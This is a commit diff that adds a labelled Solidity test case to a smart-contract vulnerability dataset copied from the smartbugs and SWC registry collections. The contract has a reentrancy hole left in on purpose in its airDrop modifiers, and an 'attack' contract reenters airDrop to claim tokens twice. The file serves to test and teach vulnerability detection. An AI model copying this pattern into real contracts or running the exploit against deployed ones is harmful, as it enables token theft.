Add SB Curated (copied from the smartbugs repository).

dataset/reentrancy/modifier_reentrancy.sol

@@ -0,0 +1,49 @@
+/*
+ * @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/reentracy/modifier_reentrancy.sol
+ * @author: - 
+ * @vulnerable_at_lines: 15
+ */
+
+pragma solidity ^0.4.24;
+
+contract ModifierEntrancy {
+  mapping (address => uint) public tokenBalance;
+  string constant name = "Nu Token";
+
+  //If a contract has a zero balance and supports the token give them some token
+  // <yes> <report> REENTRANCY
+  function airDrop() hasNoBalance supportsToken  public{
+    tokenBalance[msg.sender] += 20;
+  }
+
+  //Checks that the contract responds the way we want
+  modifier supportsToken() {
+    require(keccak256(abi.encodePacked("Nu Token")) == Bank(msg.sender).supportsToken());
+    _;
+  }
+  //Checks that the caller has a zero balance
+  modifier hasNoBalance {
+      require(tokenBalance[msg.sender] == 0);
+      _;
+  }
+}
+
+contract Bank{
+    function supportsToken() external pure returns(bytes32){
+        return(keccak256(abi.encodePacked("Nu Token")));
+    }
+}
+
+contract attack{ //An example of a contract that breaks the contract above.
+    bool hasBeenCalled;
+    function supportsToken() external returns(bytes32){
+        if(!hasBeenCalled){
+            hasBeenCalled = true;
+            ModifierEntrancy(msg.sender).airDrop();
+        }
+        return(keccak256(abi.encodePacked("Nu Token")));
+    }
+    function call(address token) public{
+        ModifierEntrancy(token).airDrop();
+    }
+}